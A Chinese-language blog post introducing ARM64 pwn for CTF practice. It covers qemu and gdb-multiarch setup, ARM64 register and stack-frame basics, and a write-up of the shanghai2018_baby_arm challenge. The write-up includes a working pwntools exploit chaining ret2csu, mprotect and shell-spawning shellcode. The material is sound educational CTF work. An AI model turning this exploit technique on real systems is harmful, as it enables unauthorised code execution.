ARM pwn 1

ARM pwn 1

之前在HWS 2023冬令营预选赛中遇到过一个ARM的pwn题,因为啥也不会,所以当场就放弃了。

现在备战国赛,鉴于现在赛题越来越花,所以有必要补一补arm的知识。

环境搭建

搭建环境时参考了一下四篇文章

ARM64 调试环境搭建及 ROP 实战

2022CTF培训(八)ARM PWN 环境搭建&ARM PWN 入门

Pwn环境搭建 (含Arm Pwn 环境)

arm pwn 初探

都是神中神

自己总结一下,就是要装qemu-user和gdb-multiarch

之后可以写一个shell脚本start.sh

#!/bin/bash
socat tcp-l:10005,fork exec:"qemu-aarch64 -g 1234 -L ./ ./pwn ",reuseaddr        

题目往往会给你一个题目,一个libc和一个ld,你可以把题目文件(假设名字为pwn)放在桌面(别的地方也行),把ld和libc放在一个名为lib的文件夹,把这个lib文件夹放在pwn的同一路径下,然后在这个路径下创建上述start.sh,并运行。

运行起来之后,终端的光标会换行并且没有任何反应。这个时候我们链接127.0.0.1:10005这个端口,就可以执行一个"qemu-aarch64 -g 1234 -L ./ ./pwn "。写成这个样子是为了能方便用python脚本去交互(直接r=remote('127.0.0.1',1234)就行了)

"qemu-aarch64 -g 1234 -L ./ ./pwn "这句话的意思是用qumu这个虚拟机去跑./pwn这个文件(仅适用于arm64的程序,32的应该是qemu-arm),-g 1234是为了方便我们接下来用gdb进行远程调试,在非调试状态下可以不写这个参数。-L ./ ./pwn的意思是把根目录换成./即当前目录。因为很多pwn题都是在根目录下去找lib文件夹中的ld和libc的。

说到gdb,我们做题时免不了要去调试。这里如果你想调试arm的pwn题,由于arm的题要在qemu中运行,所以我们需要用gdb-multiarch进行远程调试。在上面./start.sh加了-g 1234之后,我们可以通过gdb-multiarch启动gdb,然后通过target remote 127.0.0.1:1234进行远程连接。之后可以通过b去正常下断点进行调试。

可以把这些gdb相关操作打包写进一个shell脚本,到时候直接运行就行了

#!/bin/bash

# Start gdb-multiarch and connect to remote target
gdb-multiarch  -ex "target remote 127.0.0.1:1237" \
            -ex "b *0x400854" -ex "c"

如果还有别的操作,可以多加几个-ex就行了。

远程调试时操作比较麻烦,你可以在exp的remote后面加一个pause,pause会让exp暂停直到你按下任意键,在这个暂停期间你可以赶紧连好gdb,再开始让exp去进行send工作。

基础知识

ARM的题和常规题目略有不同,毕竟换了一种架构,指令集都不一样,虽然说是大同小异,但是变动还挺多的。我也只是初学者,也没完全学明白,这里也只能整理整理最近学的东西,所以有问题的时候,别问我,问chatgpt......(要你有何用?)

(别走!我开玩笑的!)

ARM64中,通用寄存器有X0-X30

X0-X7用来传参,X0是第一个参数,以此顺延

LR寄存器(即X30),链接寄存器(LR):链接寄存器主要用于存储函数调用的返回地址,当函数调用结束后,处理器会将链接寄存器中保存的返回地址加载到程序计数器中,以便继续执行调用函数后的指令。

FP寄存器(即X29),帧指针寄存器,主要用于存储当前栈帧的基地址,它通常用于访问函数的局部变量和参数。

SP寄存器,指向栈顶。

PC寄存器,指向当前指令的下一个指令。ARM64下指令都是4个字节长度,因此它指向当前指令地址+4的地址处

ARM64下的函数栈帧和之前常见的x86的架构下的题目有些不同:

函数的返回地址,保存在LR寄存器中。函数结束时会有一个RET指令,在这里这个指令起的作用就是MOV PC,X30的效果

函数调用通过BL指令实现,这个指令先将下一条指令的地址(即PC的内容)存进LR寄存器,再进行跳转(相当于jmp)

每一个函数在一开始时,会先减小SP并在栈帧顶部保存上一个函数的FP和当前LR(通过STP指令实现),当前LR,即该函数的返回地址。函数结束时,会先通过LDP指令,根据SP找到栈顶保存的FP和LR,并将其恢复,然后利用RET指令返回。

这里栈桢结构的变化主要集中于返回地址移到了栈顶,即在该函数的局部变量区的上方,因此导致相比x86架构,其中一些利用的细节发生了改变。

一些其他的基础知识问题,比如说某个指令的作用,仅仅是熟练度不足的问题。如果你之前学习过x86的汇编语言,学习arm的汇编只是时间和熟练度的问题,建议不懂的多多百度和问chargpt。

shanghai2018_baby_arm

这题在buu上有,右手就行

程序提供了mprotect,可以修改bss段的权限并执行shellcode

第一次read写bss段,第二次read有栈溢出,溢出时可以改掉main的返回地址

ARM64下一样有类似ret2csu的技巧,你翻一翻就能找到,几乎一模一样,就是栈空间的布局变了。

有一点要注意,在从栈上喷出数据给X29和X30的那条指令后面有一个后缀#0X40,这个正好会让SP下移,因此我们可以继续向下布置第二次csu_2这段gadget所需的数据

.text:00000000004008AC                               loc_4008AC                              ; CODE XREF: init+60↓j
.text:00000000004008AC A3 7A 73 F8                   LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0 E2 03 16 AA                   MOV             X2, X22
.text:00000000004008B4 E1 03 17 AA                   MOV             X1, X23
.text:00000000004008B8 E0 03 18 2A                   MOV             W0, W24
.text:00000000004008BC 73 06 00 91                   ADD             X19, X19, #1
.text:00000000004008C0 60 00 3F D6                   BLR             X3
.text:00000000004008C0
.text:00000000004008C4 7F 02 14 EB                   CMP             X19, X20
.text:00000000004008C8 21 FF FF 54                   B.NE            loc_4008AC
.text:00000000004008C8
.text:00000000004008CC
.text:00000000004008CC                               loc_4008CC                              ; CODE XREF: init+3C↑j
.text:00000000004008CC F3 53 41 A9                   LDP             X19, X20, [SP,#var_s10]
.text:00000000004008D0 F5 5B 42 A9                   LDP             X21, X22, [SP,#var_s20]
.text:00000000004008D4 F7 63 43 A9                   LDP             X23, X24, [SP,#var_s30]
.text:00000000004008D8 FD 7B C4 A8                   LDP             X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC C0 03 5F D6                   RET

下面是这个题的exp:

from pwn import *

context.arch='aarch64'
context.terminal=['tmux','splitw','-h']
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn'

e=ELF(ELFpath)
#r=remote("127.0.0.1",10005)
r=remote('node4.buuoj.cn',25791)

pause() #b*0x400854

mprotect_addr=e.plt['mprotect']
shellcode=asm(shellcraft.sh())
pay2=p64(mprotect_addr)+shellcode
bss_start=0x411068

r.send(pay2)
pause()

csu_1=0x4008AC
csu_2=0x4008CC

pay1 =cyclic(72-8)
pay1+=p64(0)
pay1+=p64(csu_2)

pay1+=p64(0)        #x29
pay1+=p64(csu_1)    #x30
pay1+=p64(0)        #x19
pay1+=p64(1)        #x20
pay1+=p64(bss_start)    #x21    BL
pay1+=p64(7)            #x22 -> x2
pay1+=p64(0x1000)       #x23 -> x1
pay1+=p64(bss_start)    #x24 -> x0

pay1+=p64(0)
pay1+=p64(bss_start+8)

r.recvuntil("Name:")
r.send(pay1)

r.interactive()
posted @ 2023-04-02 16:33  Jmp·Cliff  阅读(122)  评论(1编辑  收藏  举报